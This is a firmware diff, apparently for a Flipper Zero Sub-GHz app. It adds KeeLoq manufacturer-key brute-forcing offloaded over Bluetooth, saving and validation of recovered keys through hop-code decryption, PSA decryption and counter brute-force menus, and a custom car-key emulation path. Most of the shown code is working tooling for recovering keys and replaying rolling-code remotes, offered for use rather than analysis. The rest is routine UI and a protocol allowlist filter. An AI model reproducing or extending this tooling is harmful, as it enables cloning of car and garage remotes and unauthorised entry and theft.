uint32_t cnt = 0;
memcpy(&mfkey, data + 2, 8);
memcpy(&cnt, data + 18, 4);
uint16_t learn_type = (size >= 27) ? data[26] : 6;
ctx->candidate_count++;
ctx->recovered_mfkey = mfkey;
ctx->recovered_type = learn_type;
ctx->recovered_cnt = cnt;
subghz_view_keeloq_decrypt_update_candidates(
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
} else if(found == 2) {
ctx->success = (ctx->candidate_count > 0);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
}
}
}
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
if(!ctx->ble_offload) return;
Bt* bt = furi_record_open(RECORD_BT);
bt_set_custom_data_callback(bt, NULL, NULL);
furi_record_close(RECORD_BT);
ctx->ble_offload = false;
}
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
Bt* bt = furi_record_open(RECORD_BT);
if(!bt_is_connected(bt)) {
furi_record_close(RECORD_BT);
return false;
}
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
uint8_t req[18];
req[0] = KL_MSG_BF_REQUEST;
req[1] = ctx->subghz->keeloq_bf2.learn_type;
memcpy(req + 2, &ctx->fix, 4);
memcpy(req + 6, &ctx->hop, 4);
memcpy(req + 10, &ctx->hop2, 4);
memcpy(req + 14, &ctx->serial, 4);
bt_custom_data_tx(bt, req, sizeof(req));
furi_record_close(RECORD_BT);
ctx->ble_offload = true;
subghz_view_keeloq_decrypt_set_status(
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
return true;
}
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
memset(ctx, 0, sizeof(KlDecryptCtx));
ctx->subghz = subghz;
ctx->result = furi_string_alloc_set("No result");
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
ctx->fix = (uint32_t)(reversed >> 32);
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
}
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
subghz_view_keeloq_decrypt_set_callback(
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
ctx->start_tick = furi_get_tick();
if(!kl_ble_start_offload(ctx)) {
char msg[128];
snprintf(msg, sizeof(msg),
"No BLE connection!\n"
"Connect companion app\n"
"and try again.\n\n"
"Fix:0x%08lX\nHop:0x%08lX",
ctx->fix, ctx->hop);
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, msg);
}
}
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char key_name[24];
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
KEELOQ_LEARNING_SIMPLE,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
subghz->txrx->environment);
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
entry->name = furi_string_alloc_set(key_name);
entry->key = ctx->recovered_mfkey;
entry->type = KEELOQ_LEARNING_SIMPLE;
return true;
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
kl_ble_cleanup(ctx);
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
if(ctx->success) {
furi_string_printf(
ctx->result,
"Found %lu candidate(s)\n"
"Last: %08lX%08lX\n"
"Type:%u Cnt:%04lX\n"
"Saved to user keys",
ctx->candidate_count,
(uint32_t)(ctx->recovered_mfkey >> 32),
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
ctx->recovered_type,
ctx->recovered_cnt);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
char mf_str[20];
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
uint32_t cnt_val = ctx->recovered_cnt;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
if(ctx->hop2 != 0) {
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
}
flipper_format_rewind(fff);
subghz_protocol_decoder_base_deserialize(
subghz_txrx_get_decoder(subghz->txrx), fff);
const char* save_path = NULL;
if(subghz_path_is_file(subghz->file_path)) {
save_path = furi_string_get_cstr(subghz->file_path);
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
}
if(save_path) {
subghz_save_protocol_to_file(
subghz,
subghz_txrx_get_fff_data(subghz->txrx),
save_path);
furi_string_set_str(subghz->file_path, save_path);
}
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
} else if(!ctx->cancel) {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false,
"Key NOT found.\nNo matching key in\n2^32 search space.");
} else {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
}
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
if(ctx->ble_offload) {
Bt* bt = furi_record_open(RECORD_BT);
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
bt_custom_data_tx(bt, &cancel_msg, 1);
furi_record_close(RECORD_BT);
}
ctx->cancel = true;
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
}
return false;
}
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(ctx) {
kl_ble_cleanup(ctx);
ctx->cancel = true;
furi_string_free(ctx->result);
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
}
}
@@ -0,0 +1,141 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq_common.h>
typedef struct {
uint32_t serial;
uint32_t fix;
uint32_t hop;
uint32_t hop2;
uint8_t btn;
uint16_t disc;
size_t bf_indices[32];
size_t bf_count;
size_t valid_indices[32];
size_t valid_count;
} KlCleanupCtx;
static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
if((dec >> 28) != btn) return false;
uint16_t dec_disc = (dec >> 16) & 0x3FF;
if(dec_disc == disc) return true;
if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
return false;
}
static bool kl_cleanup_validate_key(uint64_t key, uint32_t hop1, uint32_t hop2, uint8_t btn, uint16_t disc) {
if(!kl_cleanup_validate_hop(key, hop1, btn, disc)) return false;
if(hop2 == 0) return true;
if(!kl_cleanup_validate_hop(key, hop2, btn, disc)) return false;
uint32_t dec1 = subghz_protocol_keeloq_common_decrypt(hop1, key);
uint32_t dec2 = subghz_protocol_keeloq_common_decrypt(hop2, key);
uint16_t cnt1 = dec1 & 0xFFFF;
uint16_t cnt2 = dec2 & 0xFFFF;
int diff = (int)cnt2 - (int)cnt1;
return (diff >= 1 && diff <= 256);
}
void subghz_scene_kl_bf_cleanup_on_enter(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = malloc(sizeof(KlCleanupCtx));
memset(ctx, 0, sizeof(KlCleanupCtx));
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
((uint32_t)key_data[2] << 8) | key_data[3];
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
((uint32_t)key_data[6] << 8) | key_data[7];
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
}
ctx->hop2 = 0;
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Hop2", &ctx->hop2, 1);
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup, (uint32_t)(uintptr_t)ctx);
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char bf_name[24];
snprintf(bf_name, sizeof(bf_name), "BF_%07lX", ctx->serial);
size_t user_count = subghz_keeloq_keys_user_count(subghz->keeloq_keys_manager);
ctx->bf_count = 0;
ctx->valid_count = 0;
for(size_t i = 0; i < user_count && ctx->bf_count < 32; i++) {
SubGhzKey* k = subghz_keeloq_keys_get(subghz->keeloq_keys_manager, i);
if(!k || !k->name) continue;
const char* name = furi_string_get_cstr(k->name);
if(strcmp(name, bf_name) == 0) {
ctx->bf_indices[ctx->bf_count] = i;
if(kl_cleanup_validate_key(k->key, ctx->hop, ctx->hop2, ctx->btn, ctx->disc)) {
ctx->valid_indices[ctx->valid_count++] = i;
}
ctx->bf_count++;
}
}
FuriString* msg = furi_string_alloc();
if(ctx->bf_count == 0) {
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
} else if(ctx->bf_count == 1) {
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
} else if(ctx->valid_count == 1) {
size_t deleted = 0;
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
deleted++;
}
}
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
furi_string_printf(msg,
"Cleaned %u keys.\nKept valid key:\n%s",
deleted, bf_name);
} else if(ctx->valid_count == 0) {
furi_string_printf(msg,
"%u BF keys found\nbut none validates\nhop. Kept all.",
ctx->bf_count);
} else {
furi_string_printf(msg,
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
ctx->bf_count, ctx->valid_count);
}
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
furi_string_free(msg);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
return false;
}
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup);
if(ctx) {
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
}
widget_reset(subghz->widget);
}
@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
scene_manager_previous_scene(subghz->scene_manager);
return true;
} else if(event.event == SubGhzCustomEventSceneExit) {
} else if(event.event == SubGhzCustomEventSceneExit) {
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
if(state == SubGhzRxKeyStateExit) {
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
if(!furi_string_empty(subghz->file_path_tmp)) {
subghz_delete_file(subghz);
}
}
subghz_txrx_set_preset(
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart);
if(!scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart)) {
scene_manager_previous_scene(subghz->scene_manager);
}
} else {
scene_manager_previous_scene(subghz->scene_manager);
}
return true;
}
}
@@ -1,53 +1,135 @@
#include "../subghz_i.h"
#include <lib/subghz/subghz_protocol_registry.h>
void subghz_scene_protocol_list_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
}
#define TAG "SubGhzSceneProtocolList"
void subghz_scene_protocol_list_on_enter(void* context) {
SubGhz* subghz = context;
/* ── helpers ──────────────────────────────────────────────────────────────── */
submenu_reset(subghz->submenu);
size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
char header_str[32];
snprintf(header_str, sizeof(header_str), "Protocols: %zu", protocol_count);
submenu_set_header(subghz->submenu, header_str);
for(size_t i = 0; i < protocol_count; i++) {
const SubGhzProtocol* protocol =
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
if(protocol) {
submenu_add_item(
subghz->submenu,
protocol->name,
i,
subghz_scene_protocol_list_submenu_callback,
subghz);
}
}
submenu_set_selected_item(
subghz->submenu,
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
}
bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
if(event.type == SceneManagerEventTypeCustom) {
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneProtocolList, event.event);
return true;
static bool proto_filter_contains(const char* filter, const char* name) {
const char* p = filter;
while(*p) {
const char* comma = strchr(p, ',');
size_t len = comma ? (size_t)(comma - p) : strlen(p);
if(len == strlen(name) && strncmp(p, name, len) == 0) return true;
if(!comma) break;
p = comma + 1;
}
return false;
}
static void proto_filter_toggle(char* filter, size_t filter_size, const char* name) {
if(proto_filter_contains(filter, name)) {
/* remove it */
char tmp[256] = {0};
const char* p = filter;
bool first = true;
while(*p) {
const char* comma = strchr(p, ',');
size_t len = comma ? (size_t)(comma - p) : strlen(p);
if(!(len == strlen(name) && strncmp(p, name, len) == 0)) {
if(!first) strncat(tmp, ",", sizeof(tmp) - strlen(tmp) - 1);
strncat(tmp, p, len < sizeof(tmp) - strlen(tmp) - 1 ? len : 0);
first = false;
}
if(!comma) break;
p = comma + 1;
}
strncpy(filter, tmp, filter_size - 1);
filter[filter_size - 1] = '\0';
} else {
/* add it */
if(filter[0] != '\0') strncat(filter, ",", filter_size - strlen(filter) - 1);
strncat(filter, name, filter_size - strlen(filter) - 1);
}
}
/* ── callbacks ────────────────────────────────────────────────────────────── */
static void subghz_scene_protocol_list_item_changed(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
uint8_t value_index = variable_item_get_current_value_index(item);
uint32_t proto_idx =
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList);
size_t selected =
variable_item_list_get_selected_item_index(subghz->variable_item_list);
UNUSED(proto_idx);
const SubGhzProtocol* protocol =
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, selected);
if(!protocol) return;
const char* name = protocol->name;
bool currently_in =
proto_filter_contains(subghz->last_settings->protocol_filter, name);
if((value_index == 1) != currently_in) {
proto_filter_toggle(
subghz->last_settings->protocol_filter,
sizeof(subghz->last_settings->protocol_filter),
name);
}
variable_item_set_current_value_text(item, value_index ? "ONLY" : "---");
subghz_last_settings_save(subghz->last_settings);
}
/* ── scene callbacks ──────────────────────────────────────────────────────── */
void subghz_scene_protocol_list_on_enter(void* context) {
SubGhz* subghz = context;
VariableItemList* list = subghz->variable_item_list;
variable_item_list_reset(list);
size_t protocol_count = subghz_protocol_registry_count(&subghz_protocol_registry);
for(size_t i = 0; i < protocol_count; i++) {
const SubGhzProtocol* protocol =
subghz_protocol_registry_get_by_index(&subghz_protocol_registry, i);
if(!protocol) continue;
VariableItem* item = variable_item_list_add(
list,
protocol->name,
2,
subghz_scene_protocol_list_item_changed,
subghz);
bool enabled = proto_filter_contains(
subghz->last_settings->protocol_filter, protocol->name);
variable_item_set_current_value_index(item, enabled ? 1 : 0);
variable_item_set_current_value_text(item, enabled ? "ONLY" : "---");
}
variable_item_list_set_selected_item(
list,
scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneProtocolList));
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
}
bool subghz_scene_protocol_list_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneProtocolList, event.event);
consumed = true;
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_previous_scene(subghz->scene_manager);
consumed = true;
}
return consumed;
}
void subghz_scene_protocol_list_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
scene_manager_set_scene_state(
subghz->scene_manager,
SubGhzSceneProtocolList,
variable_item_list_get_selected_item_index(subghz->variable_item_list));
variable_item_list_reset(subghz->variable_item_list);
}
@@ -105,6 +105,29 @@ static void subghz_scene_add_to_history_callback(
SubGhz* subghz = context;
// The check can be moved to /lib/subghz/receiver.c, but may result in false positives
/* Protocol name allowlist filter — if non-empty, drop anything not in the list */
if(subghz->last_settings->protocol_filter[0] != '\0') {
const char* proto_name = decoder_base->protocol->name;
const char* filter = subghz->last_settings->protocol_filter;
bool allowed = false;
/* Walk the comma-separated list */
const char* p = filter;
while(*p) {
const char* comma = strchr(p, ',');
size_t len = comma ? (size_t)(comma - p) : strlen(p);
if(len == strlen(proto_name) && strncmp(p, proto_name, len) == 0) {
allowed = true;
break;
}
if(!comma) break;
p = comma + 1;
}
if(!allowed) {
FURI_LOG_D(TAG, "%s filtered by allowlist", proto_name);
return;
}
}
if((decoder_base->protocol->flag & subghz->ignore_filter) == 0) {
SubGhzHistory* history = subghz->history;
FuriString* item_name = furi_string_alloc();
@@ -17,6 +17,7 @@ enum SubGhzSettingIndex {
SubGhzSettingIndexIgnoreNiceFlorS,
SubGhzSettingIndexDeleteOldSignals,
SubGhzSettingIndexSound,
SubGhzSettingIndexProtoFilter,
SubGhzSettingIndexResetToDefault,
SubGhzSettingIndexLock,
SubGhzSettingIndexRAWThresholdRSSI,
@@ -445,7 +446,9 @@ static void subghz_scene_receiver_config_set_delete_old_signals(VariableItem* it
static void subghz_scene_receiver_config_var_list_enter_callback(void* context, uint32_t index) {
furi_assert(context);
SubGhz* subghz = context;
if(index == SubGhzSettingIndexLock) {
if(index == SubGhzSettingIndexProtoFilter) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneProtocolList);
} else if(index == SubGhzSettingIndexLock) {
view_dispatcher_send_custom_event(
subghz->view_dispatcher, SubGhzCustomEventSceneSettingLock);
} else if(index == SubGhzSettingIndexResetToDefault) {
@@ -473,6 +476,7 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
subghz->last_settings->filter = subghz->filter;
subghz->last_settings->delete_old_signals = false;
subghz->last_settings->tx_power = subghz->tx_power = 0;
subghz->last_settings->protocol_filter[0] = '\0';
subghz_txrx_speaker_set_state(subghz->txrx, speaker_value[default_index]);
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
@@ -668,6 +672,25 @@ void subghz_scene_receiver_config_on_enter(void* context) {
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=
SubGhzCustomEventManagerSet) {
/* Protocol filter */
item = variable_item_list_add(
subghz->variable_item_list,
"Proto Filter",
1,
NULL,
subghz);
if(subghz->last_settings->protocol_filter[0] == '\0') {
variable_item_set_current_value_text(item, "All");
} else {
uint8_t count = 1;
for(const char* p = subghz->last_settings->protocol_filter; *p; p++) {
if(*p == ',') count++;
}
static char filter_count_str[8];
snprintf(filter_count_str, sizeof(filter_count_str), "%u set", count);
variable_item_set_current_value_text(item, filter_count_str);
}
// Reset to default
variable_item_list_add(subghz->variable_item_list, "Reset to default", 1, NULL, NULL);
@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
}
//CC1101 Stop RX -> Start TX
subghz_txrx_hopper_pause(subghz->txrx);
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
if(!subghz_tx_start(
subghz,
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
subghz_txrx_rx_start(subghz->txrx);
subghz_txrx_hopper_unpause(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateRx;
} else {
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
subghz_block_generic_global.endless_tx = false;
return true;
}
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
//CC1101 Stop Tx -> next tick event Start RX
// user release OK
@@ -2,11 +2,12 @@
enum SubmenuIndex {
SubmenuIndexEmulate,
SubmenuIndexPsaDecrypt,
SubmenuIndexEdit,
SubmenuIndexDelete,
SubmenuIndexSignalSettings,
SubmenuIndexPsaDecrypt,
SubmenuIndexCounterBf
SubmenuIndexCounterBf, /* <-- comma was missing here */
SubmenuIndexCarEmulateSettings,
};
void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
@@ -17,7 +18,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
void subghz_scene_saved_menu_on_enter(void* context) {
SubGhz* subghz = context;
// Check protocol type for conditional menu items
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool is_psa_encrypted = false;
bool has_counter = false;
@@ -26,7 +26,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", proto)) {
if(furi_string_equal_str(proto, "PSA GROUP")) {
// Check if Type field is missing or zero (not yet decrypted)
FuriString* type_str = furi_string_alloc();
flipper_format_rewind(fff);
if(!flipper_format_read_string(fff, "Type", type_str) ||
@@ -39,7 +38,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
furi_string_free(proto);
}
// Check if protocol has a Cnt field (supports counter bruteforce)
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
@@ -48,12 +46,23 @@ void subghz_scene_saved_menu_on_enter(void* context) {
}
}
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(!is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
submenu_add_item(
subghz->submenu,
@@ -69,6 +78,13 @@ void subghz_scene_saved_menu_on_enter(void* context) {
subghz_scene_saved_menu_submenu_callback,
subghz);
submenu_add_item(
subghz->submenu,
"Custom Emulate Settings",
SubmenuIndexCarEmulateSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
submenu_add_item(
subghz->submenu,
@@ -76,15 +92,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
SubmenuIndexSignalSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
};
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(has_counter) {
submenu_add_item(
subghz->submenu,
@@ -108,7 +117,27 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
if(event.event == SubmenuIndexEmulate) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
bool use_custom = subghz->last_settings->custom_car_emulate;
if(use_custom) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
if(!flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
use_custom = false;
}
}
if(use_custom) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
} else {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
}
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexDelete) {
scene_manager_set_scene_state(
@@ -125,16 +154,19 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexCounterBf) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCounterBf);
return true;
} else if(event.event == SubmenuIndexCarEmulateSettings) {
/* <-- was outside the if block due to misplaced brace, now fixed */
scene_manager_set_scene_state(
subghz->scene_manager,
SubGhzSceneSavedMenu,
SubmenuIndexCarEmulateSettings);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulateSettings);
return true;
}
}
return false;
@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
SubmenuIndexKeeloqKeys,
subghz_scene_start_submenu_callback,
subghz);
submenu_add_item(
subghz->submenu,
"KeeLoq BF (2 Signals)",
SubmenuIndexKeeloqBf2,
subghz_scene_start_submenu_callback,
subghz);
submenu_set_selected_item(
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
return true;
} else if(event.event == SubmenuIndexKeeloqBf2) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
return true;
}
}
return false;
@@ -10,4 +10,5 @@ enum SubmenuIndex {
SubmenuIndexProtocolList,
SubmenuIndexRadioSetting,
SubmenuIndexKeeloqKeys,
SubmenuIndexKeeloqBf2,
};
@@ -94,6 +94,10 @@ bool subghz_scene_transmitter_on_event(void* context, SceneManagerEvent event) {
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart);
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterPageChange) {
// Page changed via OK button, refresh display
subghz_scene_transmitter_update_data_show(subghz);
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterError) {
furi_string_set(subghz->error_str, "Protocol not\nfound!");
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub);
+29 -1
View File
@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
subghz->keeloq_keys_manager = NULL;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
subghz->file_path = furi_string_alloc();
subghz->file_path_tmp = furi_string_alloc();
@@ -195,6 +200,18 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
SubGhzViewIdPsaDecrypt,
